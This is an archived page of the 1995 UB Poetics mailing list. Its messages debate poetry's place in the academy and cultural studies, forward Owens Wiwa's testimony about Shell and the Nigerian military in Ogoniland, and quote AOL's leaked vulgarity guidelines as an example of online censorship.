i can't be the only one ever inspired by a junk yard. Who's written good junkyard lyrics?

Bill Luoma

↑ Index

516. **Dick Higgins**
Re: Condition of Poetry in the Academy
Thu 30 Nov 1995

> *dickhiggins wrote*
> *Suggested solution: use the internet better*

> ***
> *hunh? explain pls?*

Well, it struck me that saying one thing to each of twenty listeners, while it might be construed as a poetic act, was less likely to lead to one's own position on poetry and its nature or potential functions than going ever deeper with one or two p-eople into the subject, creating a virtual dialog.

Secondly I am annoyed, not necessarily by you but by most Americans that they assert this-or-that on the basis of a very small amount of available evidence, and they love to chatter about unavailable materials-especially in the academy. It makes me very skeptical about our countrymens' and countrywomens' opinions. "Faaacts, Ralph, Faaaacts," I say here with Carlyle (not exactly my favorite thinker either). Meanwhile the web is mature enough so that what is available on it is a pretty representative sampling of all the kinds of texts which are being done by such poets as have access to the web at all, and not just in English. If one wishes to develop a poetic which is not based on excellence but on other forms of relevance, this is one of the principal corpera of available work which should be discussed.

While such a poetic is not my own quest, the inquiry does interest me, even though I am not in academia.

Sincerely

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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517. Ron Silliman
Re: Brathwaite's book
Thu 30 Nov 1995

"Speculating now, but I think Savacou North, which is his press I believe, or him and others, did _Barbajan Poems_ because of the size & complexity of it. I.e., think he wanted to make sure it was done right. & I believe, the reason it's not distributed is an attempt to recoup the cost of production. Can't remember what I paid for it, but it's in the 25-30 dollar range. Brathwaite's _Trenchtown Rock_ is fairly recent from Lost Roads, also worth getting."

Rod

I think this may be more complicated. As I read the intro material, this book (399 pages!) was originally given as a lecture(!!) at, of all places, the Central Bank of Barbados. This is apparently a traditional venue of cultural legitimation there, an annual event, and the bank each year publishes a volume that transcribes the lecture (like, I suppose, some of the Nobel lectures or the early DIA events in NYC).

Kamau gave the talk (or some version of it) in 1987 and then did much revision before presenting this manuscript to the bank, which sat on it and never published it.

Unless, of course, all this is a just an allegorical frame tale.

Ron

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

December 1995

415 messages · Fri 1 Dec 1995 – Sun 31 Dec 1995

December closes the year in two keys. In Paris the Dayton accords are signed and the war in Bosnia formally ends; in Washington the government shutters its doors a second time, into the new year. The list, scholars nearly to a soul, spends the month packing its bags for the MLA convention in Chicago — and arguing, cheerfully, all the way to the gate.

The academy debate carries over from November, grown more material as it travels. Jeff Hansen redirects it toward *"the financial crisis in higher education,"* observing that young doctorates who love poetry can rarely find anyone willing to hire them. The quarrel about poetry's place in the university has become, without quite admitting it, a quarrel about the rent.

Relief arrives by way of comedy. Daniel LaBeau, assembling a *"Comedy & Society"* class, asks the list for funny poems, and the list — never funnier than when cataloguing its own hilarity — answers with wads of Koch and Ashbery, Berrigan's 'Tambourine Life,' Dorn's Slinger (which some insist has not aged into comedy at all), and, as several note, big helpings of Bernstein. The Kink of Comedy thread runs happily for days.

Dick Higgins, the month's busiest correspondent, relays Rothenberg and Joris's invitation to their Chicago events; Alan Golding, meanwhile, fields a stranger request with perfect gravity, recommending Wilbur poems *"appropriate for Sunday church services."* Between the profession's housekeeping and its horseplay the list keeps its familiar double nature — half seminar, half green room — and sees no contradiction in the arrangement.

So the year ends as the list prefers to end anything: mid-sentence, over-subscribed, and in good spirits about both. I have ordered December's letters, hidden every address behind its bar, and closed the 1995 volumes with the listers precisely where I found them — talking well past midnight, each convinced the essential thing will be said in the next message, or failing that, the one after.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 415 in all.

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142. Joe Amato — academic incorporations 2...
143. Joe Amato — academic incorporations 3...
144. Bill Luoma — ken saro-wiwa
145. Maria Damon — Re: total quality mangled
146. Maria Damon — Re: Poetry and cult studs
147. Burt Kimmelman — Re: Freud and the Library of Congress
148. Jordan Davis — benefactors, patrons, angels
149. Jordan Davis — I'll second Schjeldahl
150. Kevin Killian — Re: Freud and the Library of Congress
151. Don Cheney — Re: totalitarian human control
152. Dick Higgins — Re: Pro's & hobbyists
153. Maria Damon — Re: self service...
154. Maria Damon — Re: mla

155. Maria Damon — Re: Poetry & prisons
156. Maria Damon — tart fruit
157. Dick Higgins — Re: benefactors, patrons, angels
158. Peter Zukowski — Chicago reading
159. Tony Green — Re: Poetry and the academy
160. Tony Green — Re: Freud and the Library of Congress
161. Tony Green — geezers

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162. jeffrey timmons — Re: Freud and the Library of Congress
163. Aldon L. Nielsen — Re: prison reading lists
164. Aldon L. Nielsen — Re: ". . . "
165. Tenney Nathanson — right but
166. Aldon L. Nielsen — Re: country joe amato
167. Ron Silliman — CAP-L renga
168. Joe Amato — reading lists...
169. Maria Damon — Re: prison reading lists
170. Maria Damon — purism on the list
171. Pierre Joris — Re: Fwd: Guggenheim 95
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174. Ron Silliman — Shandy-esque
175. Ron Silliman — Tom Field
176. Tom Beard — Shandy & Diderot
177. Gwyn McVay — Re: Fwd: Guggenheim 95
178. Jordan Davis — Re: purism on the list
179. Bill Luoma — Re: Tom Field
180. ULMER SPRING — an announcement for a show.
181. Kevin Killian — Re: Tom Field
182. Gale Nelson — Re: purism on the list
183. Aldon L. Nielsen — Re: The Prisonhouse of Lists
184. Chris Stroffolino — Re: purism on the list
185. Gale Nelson — Re: purism on the list
186. Steven Howard Shoemaker — our daily bread/th
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188. Ange Mlinko/PWS/International Thomson Publishing — wilderness petition
189. Marisa Januzzi — Utah (redefines 'open field')
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191. Charles Watts — Blaser conference publications
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193. Thomas Bell — Re: purism on the list
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195. Gabrielle Welford — Re: our daily bread/th
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198. Ron Silliman — Re: our daily bread/th
199. Ray Davis — Re: Shandy & Diderot
200. Dick Higgins — Re: Shandy & Diderot
201. Chris Stroffolino — Re: Shandy & Diderot
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203. Schuchat — A Simple Query

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204. Gabrielle Welford — EFFector Online 08.20 * Censorship Protests & CDA Update (fwd)
205. Bill Luoma — Re: A Simple Query
206. Diane Marie Ward — Re: our daily bread/th
207. Aldon L. Nielsen — Re: Zukovsky's 24
208. Rod Smith — Re: Roberson
209. Maria Damon — Re: our daily bread/th
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213. ULMER SPRING — Re: hearsay
214. Chris Stroffolino — Re: hearsay
215. H. T. KIRBY-SMITH — If you don't like Seamus Heaney
216. Mark Scroggins — Re: Zukovsky's 24
217. Chris Stroffolino — Re: Zukovsky's 24
218. Edward Foster — Re: Zukovsky's 24
219. Chris Stroffolino — anachronism
220. Curt Anderson — Re: If you don't like Seamus Heaney
221. Ray Davis — Re: Shandy & Diderot

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223. Robert Drake — Re: Zukovsky's 24
224. Michael Boughn — Passion and the social
225. Mark Scroggins — Re: Zukovsky's 24
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240. Sheila E. Murphy — Re: The Kink of Comedy
241. Dick Higgins — Re: Astonished

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250. Bob Perelman — hi/comedy/food
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253. Alan Golding — Kink of Comedy
254. Charles Alexander — Re: Kink of Comedy
255. Dick Higgins — Re: Chris, you anachronism you
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257. jeffrey timmons — Re: Anachro-Movement
258. Don Cheney — Re: The Kink of Comedy

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259. Tenney Nathanson — comedy
260. Ron Silliman — Re: Kink of Comedy
261. Jordan Davis — Re: comedy
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263. Gale Nelson — Re: comedy
264. David Kellogg — Re: comedy
265. Kevin Killian — Re: comedy
266. Joe Amato — Re: comedy
267. Bill Luoma — Comedy
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270. Herb Levy — WaldrOops
271. jeffrey timmons — New Web Page: Book Arts & Book History [xposted] (fwd)
272. Joshua N Schuster — Re: comedy
273. jeffrey timmons — Re: comedy
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275. D. LaBeau — Thanks/Comedy
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310. Joe Amato — Re: Don of Comedy
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317. Ron Silliman — Re: Slinger
318. Mark Roberts — Re: Bar Codes
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320. Chris Stroffolino — Re: Slinger
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322. Aldon L. Nielsen — Re: disn dat
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324. Bill Luoma — Re: Slinger
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330. William M. Northcutt — Re: Slinger
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334. Michael Boughn — Re: Slinger
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337. Charles Alexander — Re: Thomas A. Clark
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341. Aldon L. Nielsen — Re: _Transbluesency_
342. Charles Alexander — Re: Slinger
343. Steven Howard Shoemaker — Chicago gatherings
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360. Charles Smith — Re: Thomas A. Clark
361. Landers — Re: POETICS Digest - 18 Dec 1995 to 19 Dec 1995
362. Jordan Davis — Re: Ted Berrigan
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398. Stephen Galen Cope — Re: Season's Gratings

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399. Jonathan Brannen — Re: Ted Berrigan

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412. Bill Luoma — Re: O books

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1. Ron Silliman

Re: Williams, W. C.

Fri 1 Dec 1995

><<It's fairly apparent that within the "professional" or business community
>Williams felt such an admission of vocation--with the no distinction
>between what one "does" and who one "is"--difficult to make in
>mid-century America. As an addendum, I'd say that declaring one's
>profession as Professor of Poetry in polite conversation around the
>Thanksgiving Turkey in 1995 doesn't get you very many more nods of
>approval and tacit understanding than Williams's admission got him in
>1954.
>
>Joseph Conte>>
>
>Try going with WCW's affirmation without the prestige attached to
>"Professor!"
>
>all best, charles
>

I remember on my first job trying to keep my poetry quiet (I'd only published one book and that from Ithaca House, never a paragon of distribution) and getting away with it for about a year until somebody (never did figure out who) saw and clipped a review I did (a POSITIVE review of Tom Clark's _Neil Young_ in Rolling Stone to be exact) and posted it on the bulletin board. I was appalled at first, but then nothing much happened other than a couple of the more argumentative types wanting to know more and discovering that I wasn't doing identarian "the people united" dramatic monologs and having some interesting arguments over that. Since then, everyone's pretty much known that I write poetry and it's no big deal. Some people where I work fly airplanes or go ocean fishing on the weekends, others run marathons, others are active in their churches. I think people take it on that level.

It works the other way too. Jack Krick and I just discovered that we work pretty much in the same industry. (I've been a client of his company, no less.) Wouldn't've guessed if his email server hadn't bounced back a message over the Thanksgiving weekend with the specific division title in the header.

Ron

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2. Jeff Hansen

Poetry and the Academy

Fri 1 Dec 1995

In the discussion on poetry in the academy, I have yet to see mention of the financial crisis in higher education.

Young people with Ph.D.s who are interested in poetry rarely get hired. Granted, the situation is bad in every subspecialty of English departments, but the poetry one seems most acute.

The situation will probably not end, and, since I am not now in academia and probably will never return, I 'm not that concerned about it.

Rather, I'm interested in what happens to intellectuals (may I still use that word) who have been university trained (perhaps in a highly innovative manner such as myself--Beloit College and The SUNY-Buffalo English program), and leave academia for greener pastures. Do some give up on writing and thinking? Or do others, like me, try to squeeze it into incredibly busy schedules?

Unlike Charles Alexander, I left academia not because I didn't want it, but because it didn't want me.

A few years ago, I couldn't think of a better job for a writer than a professor--flexible schedule.

But now I am beginning to look at nonacademic life as a blessing: I don't have to worry about publishing in certain places or publishing the right kind of thing. Not ever having to write critical articles/papers has freed my prose in ways I like. While I do enjoy reading some academic prose, I did find that too much exposure to it limits me.

Now, my thinking and writing are hobbies rather than a profession. And, as a long-time critic of "professionalism," I like that.

Since there are others like me, maybe this situation is good. Maybe the freedom to think and write without institutional constraints will make us more interesting and interested, less "fashionable", more true to our own evolving engagements. I know that it is a cliche, but academia does stultify thinking in many ways, many of which have been outlined in this discussion

Finally, before I appear too anti-academic, let me say that I appreciate how the academic critics mentioned by Ron Silliman do promote poetry there. It is one of the institutions where poetry is taken seriously. (but it is not, Hugh Kenner, the only place that takes care of poetry). Luigi Bob Drake, for one, creates other places. Three cheers for Taproot Reviews.

Three cheers for renegade poet/thinkers.

Best,

Jeff

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3. David J. Coogan
Re: More on poetry and cultural studies
Fri 1 Dec 1995

On Thu, 30 Nov 1995, Michael Greer wrote:

When I was in grad
> school, all of my "cultural studies" friends (who were not in English but in
> the Institute for Communications Research at U of Illinois) continually
> pressed me about the exclusionary, colonialist politics of English studies,
> about the high-cultural bias of literary studies, and repeatedly wanted to
> know why on earth one might want to study poetry, and avant-garde at that, in
> a culture such as ours. I wrote a dissertation to answer them, and I'm not
> satisfied with my response yet: it's a good question. I for one urge that it
> be taken seriously...
>

Michael --

How did you answer the question in your dissertation? (How did you begin to answer it?)

Dave Coogan
[redacted]

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4. Joe Amato
Re: Poetry and the Academy
Fri 1 Dec 1995

---

jeff, i really do think that the alternatives are not simply the "professional" as currently construed over and against the "hobbyist"... and although one may locate oneself outside of academe per se (thankfully) the reality is that academe per se will always have something to say about poetry/poetics...

which is to say, simply, that nobody operates outside of (some conjunction of) institutions...

i'd rather that talented folks who DON'T earn a living as writers STILL be regarded "professionals"... i'd rather that, again, some "we" appropriates this latter term and disengages it from "making a living"... but again my

ambivalence---i just see no other way to mount any sustained resistance to more orthodox pressures, esp. these days...

anyway, i appreciate the gist of what you're saying...

all best//

joe

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5. Kevin McGuirk

Re: More on poetry and cultural studies

Fri 1 Dec 1995

Though I'm not widely read in cultural studies, I have been thinking about poetry and cultural studies, provoked by poetry's palpable absence from at least the major cs anthologies. In fact, I just got back on the list because a friend and I had been planning a proposal for a poetry & cs anthology, when another friend told me about this discussion. I wanted to check it out, and I'm compelled to add my own half-born, maybe monstrous, thoughts on the matter.

One thing that seems important to me is not to take a defensive posture regarding cs. Poetry has been largely on the defensive since at least Arnold, and that posture, along with its enduring affiliation with Arnoldian notions of culture has ensured its cultural marginality. As has been noted, cs refused Arnoldian notions of culture along with what was for A and still is for many (in the least likely places, I might add) the privileged cultural site of poetry. But like theory, cs is a provocation to reconsider, or at least reconsider how we consider, the nature of poetry and of the poetic. The New Formalists have been taken to task for their theory-attitude and I would be sorry to see a similar attitute toward cs developing as well.

I agree with some posters that "subject" studies on "breastfeeding in Villette" arent (hard, anyway) cultural studies, if they consider only practices *represented* in literature and not literature itself as a practice. (I have no objections to such work *personally*; I'm simple enough to want to learn about stuff writers write about,but then I'm not in a position to evaluate graduate work in English depts). It seems to me that an assumption of much comment on potential links between poetry and cs is that cs will be accommodate d TO poetry, that we'll just do culturalist readings of work we already call poetry, i.e what we put into anthologies for teaching it. But what is refreshing about cs to me is that it won't respect the boundaries we continue t o draw around a variety of verse practices. An anthology of work on poetry and cs, it seems to me, would include work on Poetry as well as greeting card verse (I'm curious about ITS history), prayers, schoolyard and nursery rhymes, rap and rock [of

course, tho no claims to Art for Jim Morrison], or cultural histories of how people (who dont think about literature) have USED poetry. And much else, including for example, the renga that's been discussed here. Poetry as people's practice, not art, however "degraded" or commodified it might seem or be. Now much recent American poetics takes poetry as practice - and this should maybe make poetry exemplary for cs (and indeed some impt cs notions were first noticed by romantic poets, like the everyday). But it seems to me (tho this reading may be too impressionistic and generalizing - take it for what it's worth) that 20th century poetry functions largely as symbolic practice;it seeks onlya metaphorical resonance with the world "out there", public life, and in "here", how people actually live in the world (i.e. not the Platonic everyday which is the pap of of a lot of lyric poetry). My feeling these days, as teacher and lover of poetry in all its forms (just about) is that we need to get out in the field, and that we shouldnt worry either about its apparent antagonists among the "masses" neitherthe TV watching public nor"arrogant braggart" grad students (Yikes!)(who it seems to me don't merit such a Grand dismissal, if qualified by MOST grad students).

My chief hesitation about a collection of cs work on poetry is that the motley flavour of the total list of cultural criticism on poetry represented by postings here would be lost, especially if it were published by Routledge. I would add only: "`It dread inna Inglan'":Linton Kwesi Johnson, Dub, and Dread Identity" by Peter Hitchcock in _Postmodern Culture_ 4.1 Sept 1993.

Kevin McGuirk

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6. Charles Smith

Re: "I am I am"

Fri 1 Dec 1995

Ok Ron, you've got me laughing now. I was just responding to a little academic whining with some outsider whining of my own. You're right, most people respond to the activity of poetry w/ mild curiosity which quickly passes, & conversation returns to skiing or music or whatever. A few are interested though, & I've been pleased to turn on some lawyers, accounting clerks, biologists, & cabinet makers to poems by poets they'd never have heard of otherwise, & through that have even been responsible for the sale of a few books. I was taken aback though last month when a woman approached me wondering if I had any poems that "might be appropriate for our Sunday church services."

all best, charles smith

><<It's fairly apparent that within the "professional" or business community
>Williams felt such an admission of vocation--with the no distinction
>between what one "does" and who one "is"--difficult to make in
>mid-century America. As an addendum, I'd say that declaring one's
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Ron

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7. Sheila E. Murphy
Re: Poetry and the Academy
Fri 1 Dec 1995

Jeff Hanson writes:
>Rather, I'm interested in what happens to intellectuals (may I still use that
>word) who have been university trained (perhaps in a highly innovative manner
>such as myself--Beloit College and The SUNY-Buffalo English program), and
>leave academia for greener pastures. Do some give up on writing and thinking?
>Or do others, like me, try to squeeze it into incredibly busy schedules?

Jeff, a bit of fodder on this issue:

Early on, I planned a triplicate kind of path that has served me in happy ways. I secured what is sometimes called the terminal degree in academia; I went on to build a very interesting career in the corporate world; and throughout it all I write and write.

I find no conflict whatsoever (except a challenge with time, which I keep becoming better at addressing) relative to TIME USAGE. But everyone else seems to have that issue, too.

I'd say that there's the potential for something that certainly resembles "having it all" by combining strong academic preparation and creative applications of it in other arenas. The business world is, for all other things it may be, deliciously practical, focused, and discrete in terms of offering projects that begin and end. I find it no threat to my "thinky" pursuits and have always enjoyed the people in that world.

Bottom line (since we're addressing business) is that you have the potential for a very positive experience outside of academia, so long as you keep your expectations in line with what you can want and are willing to make happen.

Hope this is helpful.

Sheila Murphy

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8. Daniel Bouchard/College/hmco
Dirtywords.com
Fri 1 Dec 1995

I just read that America On-Line retracted its ban on using the word "breast" in personal profiles after a barrage of protests from people who use the Internet to discuss breast cancer and other medical issues. What other kinds of

censorship have people experienced with the services of AOL or other internet companies? What other words does AOL consider vulgar?

Personally, I think "downsizing" is one of the most vulgar words out there today.

[redacted]

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9. Daniel Bouchard/College/hmco

Testimony: Dr. Owens Wiwa

Fri 1 Dec 1995

This was downloaded from the Greenpeace Web page.

[redacted]

_____

TRANSCIPT OF 'A TESTIMONY' BY DR. OWENS WIWA (Brother of Ken Saro Wiwa)

Steering Commitee Member of the Movement for the Survival of the Ogoni People (MOSOP)

PREPARED BY GREENPEACE ON BEHALF OF THE MOVEMENT FOR THE SURVIVAL OF THE OGONI PEOPLE

FIRST MEETING WITH BRIAN ANDERSON

I first met Brian Anderson the chairman and managing director of Shell Nigeria on the Queens birthday party 1995 in Lagos, and he promises to my wife to help, to see that Ken gets adequate medical attention, he says he will see what he can do and we leave at the end of the party and I write of my encounter to Ken send it through my wife who leaves this day to see Ken and through this letter we are very happy to learn that Ken has been taken to the hospital the military hospital for the first time after being in detention for about 11 months.

SECOND MEETING WITH BRIAN ANDERSON

Well I asked him if he would use his influence to stop the trial announced so that Ken can get can get out of the illegal detention and so that negotiation can start between Shell and the Ogoni people. And he says that's difficult, but not impossible but that the international campaign is hurting Shell and the Nigerian government and if we can stop the campaign that he might be able to do something.

So I tell him that I don't have the power to do that, but however I will pass the information to Ken, and he also at that time said I should try and get into the press - to get a press release and get him a copy, you know mentioning the fact

that there is no environmental devastation in Ogoniland and I just say how can I do that, you mean I tell the world that what we've been saying ever since 1990 is a lie, there is no way I will do that. And that happened at our second meeting.

THIRD MEETING WITH BRIAN ANDERSON

I wrote to Ken and Ken replied back with a letter to Brian Anderson where he gives him two scenarios. The first one - Ken gets killed and becomes a martyr or they [Shell] did the right thing, use their influence with the Nigerian government and get him out of their illegal detention and stop the charade of the tribunal. And when that happens the lobby with the writers will stop, the lobby by the human rights groups will stop and that remains the environmental campaigners and when the environmental lobby sees that he is now discussing with Shell they will lower or stop their campaign.

Mr Brian Anderson tells me that he will no longer be available for further discussion as he'll be travelling frequently but that I should continue the discussion with Mr Achebe. Mr Achebe stresses the importance of continuous dialogue and after a week I phone Achebe and I'm told he's in Germany I phone again a second time and I'm told he's in Abucja and I phone again and I'm told he's in Port Harcourt holding meetings with other Ogoni people and I phone another time and he's not in the office and all this time I'm leaving my number and my messages and I don't get any reply so I now switch back to phone Anderson both in his office and in his house. Now I phoned the first time in his house and they tell me he's at a cocktail party I phone another time and he's having lunch and I ask whether I can phone after lunch I don't get any answer, but I still phone and still he's not available and I phone another time and I hear he's not around you know and then I sort if get the message and I write back to Ken that it appears that I'm being avoided and Ken writes back - that I shouldn't bother as it appears a decision has been made.

DEVASTATION OF OGONILAND

Ogoni environment is devastated. I got involved in Ogoniland after coming back to Ogoni after my University medical school and then the first thing that struck me is that the trees around my father's house the oranges and the guavas are no longer there the ones there are not producing any fruit and they sort of shrunken. Then I go to the hospital and the spectrum of diseases I see there is quite different from the ones I was taught at school or the ones I saw in other places I'd worked in Nigeria. A lot of respiratory diseases - high incidence of asthma, cancer, bronchitis and I'm quite surprised and also some bizarre skin diseases and a high level of miscarriages which is quite different from other areas in Nigeria that are not producing oil. And the land Ogoni is a small place about 404 square miles 12 miles by 32 and large expanse of land that nothing grows on because of the oil spillages that have happened because of oil blow

outs gas flares all over Ogoniland. You don't know when it is night it's always glowing. With the noise from the flow stations - it's very deafening and the people speak rather they shout the way of talking because they have to get across to the other person. And the pipe line gas and oil pipelines criss-crossing the whole place on the surface of the ground passing in front of houses at the back of houses on farm land unprotected.

SHELL CLAIM SABOTAGE BY OGONI

Shell claims that the environmental devastation in Ogoniland is due to sabotage of the installations by Ogoni people, as far as I know no Ogoni person no MOSOP activist has ever been convicted of sabotage of oil installations. The Ogoni people would be the last people on earth to go near the Shell installations because they know that if anything goes wrong on the pipelines or on the installations it is their land which they hold precious that will be spoiled - that will be devastated it is their streams from which they fish and drink water that will be polluted because their is no piped on water in Ogoniland it's only the water from the streams so no Ogoni person will go near any Shell installation for sabotage because that would lead to spillage and we understand spillages and devastated land more than any people in this world.

EVIDENCE THAT SHELL ARE INVOLVED WITH MILITARY

I drive down to the village of Korokor-tai when I get there I meet another young man on the ground in a pool of blood at the feet of his mother and I'm told that he was shot by Major

[Okuntino??] who had come there in the Shell bus accompanied by Shell executives and they had come to the village, said they were coming to look for Shell trucks. In my clinic in Bori Ogoniland I see the police constable coming to my clinic to tell me that all Ogoni people in the police in Ogoni land have been transferred out and I'm scared and he shows me the posting order transferring them and immediately I get to my car because that's frightening and go to visit my brother in hospital and I tell him what I've just heard and give him the police posting order and he immediately writes on it telling the world about what is happening and he's afraid that the first episode of genocide is being planned against the people, the Ogoni people.

I see foreign journalists in Bori and I ask what's happening they said they heard that there's shooting a journalist from the Guardian of London and one from the Independent. And I take them to the village Kaa where most of my patients come from and we arrive there and it's like a small atomic bomb has been placed on the village I mean dropped on the village, everything the market is completely destroyed, the school the houses even the trees are on the ground and it is very very frightening and we do know this time there were police, I mean a military presence in Ogoniland. They were stationed not too far from my

clinic so I go back to the army and ask them what has happened, and we go back there and they see the place and one of the officials says that he hasn't seen this sort of thing even while he was serving in Liberia that no destruction has ever been to this level and in that particular incident 35 people are killed and it continues like that another 7 Ogoni villages are all destroyed and a total of about one thousand people are killed in these raids by people using sophisticated weapons on unarmed villages and my patients tell me that the soldiers arrived across Andoni river with Shell boats and while all this is going on we notice the presence of Shell helicopters hovering around and we're actually very very worried.

DETENTION OF OWENS WIWA

On the 26th December 1993 on Boxing day I'm in my house with my wife who's pregnant and her sister as well come to spend Christmas with us and a captain in the Nigerian army Captain Tunde Odina comes in and has a beer in my house and eats the food my wife has prepared and at the end of it he tells me to take a holiday, to leave Ogoniland go to Lagos or somewhere.

At about 5 O'clock another Major comes in he calls himself Major Akintola of the Army Intelligence Unit at the Brigade in Bori camp and he tells me that the governor of the state Lieutenant Colonel Komo wants to see me and Barika Idamkue because at this time Barika Idamkue is the secretary of the Ogoni Relief and Rehabilitation Committee and I'm the coordinator so I mean we go there happily thinking that the Governor wants to give some relief to the people so at the end of the conversation I tell him that I was told by a captain, Captain Tunde Odina that I was to be arrested. So the Governor tells me that is not true that is just one of the rumours that we hear and keep telling people and there's nothing like that so I go back to my house have dinner with my family and go to bed.

At about 2am the same captain who had come to my house you know to eat and drink comes in shouting, breaking my door and asks where is Dr Wiwa, I say well I'm here and then the other soldiers climb the fence and generally make noise and then I ask what is the matter and he tells me you are, by the order of the Federal Republic of Nigeria you are under arrest. So I go back to my room change into my clothes and go into the 504 military vehicle and the other soldiers enter squeeze me in and they take me straight to the country home of Mr Ledum Mitee the Deputy President of MOSOP and repeat the same sort of thing they did in my house and bring the guy into the car and then the soldiers are coming inside too with their guns reeking of alcohol and marijuana and generally threatening us you know, and took us straight to the Air force base in Port Harcourt and later to the house of the government reservation division in Port Harcourt.

And we stayed there until the 4th of January at about 5 O'clock or so Major Okuntimo comes in to meet us and to discuss. We ask him why we are detained he doesn't tell us anything, all he says is he's following his orders and then curiously asks us that since MOSOP is big it's powerful that we should join forces with him you know to see that one Mr Lawson-Jack senior executive of Shell in Port Harcourt is removed and we tell him that we don't do things like that. We talk about ideas and how to change corporate behaviour in terms of the environmental devastation of Ogoniland we are not in for removing individuals and all that and he insist and so we ask him why, why do you want the man off? and then he explains that the man has been undercutting him in his payments that he was also receiving from Shell.

And after our discussion he tells us that we are released and on getting out I meet my mother-in-law and I ask about my wife and she answers that they are fine, I say what do you mean they are fine? I only have one wife, so she says they are fine that you have a child I said a child ?, she said yes, a son, I said yes how do I know it's a son I said I dreamt you know but then my wife is not due but I rushed down to the hospital that she's supposed to have delivered and I go in there and see her very happy and beside her there's, there's a young kid you know all red and cries when he sees me and I go and pick up my son and I feel very happy and I decide to forget and forgive my detention because that has brought me a son and asked my wife how everything happens and she tells me that after they are taking me away after some hours when daylight was coming she decides to come and look for me. And at this time there are many roadblocks manned by the army in Ogoniland and she is stopped in one of the roadblocks and she comes out, she is asked to come out of the car, she comes out and they ask her who she is and she tells the person that she's my wife and they say Oh that trouble maker so they ask her to identify herself further , she says she's a housewife and housewives don't carry ID cards. So they search her and they decide to search her person and she doesn't like that and the army man tell her to go into the stream, the stream is polluted covered with oil, my wife doesn't know how to swim. She protests, she gets the gun, they put up the gun pushing her from the back and she is pushed into the pond, into the stream but because of her hydrophobia she comes out and then the man aims the nozzle of the gun at her pregnant abdomen and then contractions start to come on and that process leads her to the hospital and my baby comes out born on January 4th Ogoni day and that's how I get my child.

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10. Marisa Januzzi
Re: needs junk
Fri 1 Dec 1995

Wallace Stevens of all people wrote great junkyard lyrics: "The Man on the Dump." Thought you were hearing the 'burble of bassoons' bubbling up there, Bill Luoma... thanks for that post.

John Yau and Bill Barrette did a NY book about two years ago-- poetics of vacant precincts, photographs of dumps and other 'unseen' places in NY-- but the cumulative effect is really sad and dislocating and disturbing and in an oblique way, confrontational-- not bubblie, in a word.

Off to my dump-site of a desk------ Marisa

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11. Issa Clubb
Re: Dirtywords.com
Fri 1 Dec 1995

> *What other words does AOL consider vulgar?*

Here is a cut and paste from a website which tells you what you want to know:
"Why AOL Sucks"
http://www.cloud9.net:80/~jegelhof/

Strangely "breast" does not appear, even though this is an old document.

I've heard stories of people being kicked off when their kids snuck on using a parent's account, & who then experienced much condescension in the process of getting their account restored.

_____
AOL's "Vulgarity Guidelines"

This is an internal AOL memo indicating what, specifically, "bad words" are. Most of these words are sexual slang, but some others - most notably those relating to homosexuality - are also deleted. Note also the policies, footnotes, and rating systems in this document.

It is impossible to contend that this document isn't a censorship system.

_____
VULGARITY GUIDELINES

This section contains examples of vulgar, conditionally vulgar, and acceptable phrases and subjects. Synonyms of these are usually unacceptable. Gender should not be taken into account; if "men on men" is not allowed, neither is "women on men". Asterisks and other symbols cannot be used to "mask" a

violation if any letters of the vulgarity are still present. "F--- you" is vulgar, but "my *** hurts" is okay.

Staff should use judgement in warning members who ask if certain things are vulgar. If the member appears genuine, the staffer should answer the question via IM or E-Mail, or refer the member to Keyword: TOS if they feel uncomfortable answering; they should also suggest that the member restrict future questions to E-Mail or IMs. If the member begins to use the "question" format to spout vulgarity, the member should be given a friendly reminder to keep such things to private communication. If the member continues, a warning is in order.

If a phrase comes up that is not listed here, use your judgement to decide whether to warn the member, and send E-Mail to your online supervisor to obtain an official decision.

69 - rooms (sexual)
adultery - OK
anti-AOL - (6)
anti-Guide/Staff - (6)
ass - (5)
bare skin - OK
bears - OK
bearskin - OK
bi - OK
bitch - (2)
blow (job) - vulgar
bondage - vulgar
bound to tease - (Rooms)
boys - rooms
clit - vulgar
cock - vulgar
come - (3)
cornhole - vulgar
couples - OK
cross dressing - rooms
cum - (3)
cunnilingus - vulgar
cunt - vulgar
damn - OK
defecation - vulgar
dick - vulgar
do me - rooms
dom - rooms

domination - rooms
douche - vulgar
dykes - (11)
erotic - rooms
and so on, until ...

VULGAR: Unconditionally vulgar.

ROOMS: Vulgar in room names or screen names.

ROOMS (SEXUAL): Vulgar in room names or screen names if possibly sexual. These words are only allowed in screen names or room names if other phrases clearly make them not sexual. For instance, a member may not create a room "Oral," but "Oral Roberts" is permitted. " Slaves here" is not allowed, but "Free the slaves" is. "Jimmy69" would be fine, but "Ilike69" would have to be deleted.

OK: Acceptable. These words do not, in and of themselves, constitute vulgarity or sexual connotations.

1 * who want *: If referring to people, this is not allowed in room names. For instance, "Men who want women" is vulgar, while " Men who want a car" is not.

2. Bitch: Vulgar if an insultable person, place, or thing is being called a bitch. "Life's a bitch" is fine, "My mom is a bitch" is vulgar.

3. Come/cum: Vulgar if used in a possibly sexual manner. "Cum over here" is fine, "I come when I think if you" isn't.

4. GIF/Graphic Exchange: While not vulgar, this is not allowed in room names due to the probability of illegal GIFs being exchanged.

5. Suck/Ass/Fart/Piss: Vulgar if used in a possibly or probably sexual/vulgar manner ("suck me", "kiss my ass", "I just farted"), or if an insultable person, place, or thing is said to be this. "The Redskins suck" is fine, "Life sucks" is fine, "Jimmy sucks" is not fine. "Nirvana Kicks ass" is OK, "Jenny is an ass" is not. "Rich is an old fart" is OK, "You should hear my brother Fart" is not. "I'm pissed off" is OK, "Piss on you" is not. Exception: A member may say that AOL, or any manifestation such as the Hosts/Forum Staff, sucks.

6. Anti-AOL: We do not want to appear to censor members who speak out against us. Anti-AOL comments, or comments protesting manifestations of AOL such as Hosts, should not warrant a warning. However, comments which insult or harass individual Guides or AOL employees should warrent a warning.

7. Racial Issues: Racial slurs are not allowed. Rooms promoting racism (KKK Unite) are not allowed, but discussion of racial issues (KKK Discussion) are.

8. Hot, wet: These are borderline words. Use your judgement, and consider it vulgar if they're talking about "hot" as in sex, or "wet" as in feminine moisture. Hot men/women/cars/videos/etc. are fine, as "hot" could be referring to "good looking" or some other non-sexual thing.

9. Nudity: Discussion of nudity is fine; nude room names are a judgement call.

